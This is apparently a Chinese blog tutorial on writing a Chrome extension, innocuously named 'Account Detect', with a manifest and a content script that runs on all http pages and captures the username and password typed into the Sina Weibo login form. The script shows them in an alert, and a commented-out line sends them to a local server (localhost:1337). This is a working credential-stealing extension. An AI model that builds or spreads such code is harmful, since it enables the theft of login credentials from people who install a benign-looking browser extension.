1. 首先新建一个记事本,命名为 manifest.json,这是写 Google Chrome 浏览器扩展必须的文件
{ "manifest_version": 2, "name": "Account Detect", "description": "This extension will detect your account", "version": "1.0", "permissions": [ "http://*/*" ], "browser_action": { "default_icon": "icon.png" }, "content_scripts": [ { "matches": ["http://*/*"], "js": ["jquery-1.4.4.min.js", "myscript_v0.0.1.js"] } ] }
2. 新建一个 myscript_v0.0.1.js 文件,这个是主文件,就是你写扩展的主要目的。比如我下面这个是弹出新浪微博登录页面中的用户名和密码。
$(document).ready(function() { // $("body").click(function() // { // alert("this is it - acount detect"); // }); $("span[node-type='submitStates']").click(function(event) { var username = $('input[name="username"]').val(); var passwords = $('input[name="password"]').val(); // var query = '?username=' + username + '&' + 'passwords=' + passwords; // $.get('http://localhost:1337' + query, function() {}); alert(username + ':' + passwords); }); });
3. 随便找一个 icon.png ,用作扩展的图标,下面有它出现的位置。
4. 打开浏览器,加载扩展。
5. 打开新浪微博的首页登录页(http://weibo.com)
6. 成功弹出。
截图如下:
需要准备的文件:
加载 Chrome 扩展的截图:
运行截图:
查考自:http://www.cnblogs.com/heqichang/p/3189775.html
谢谢浏览!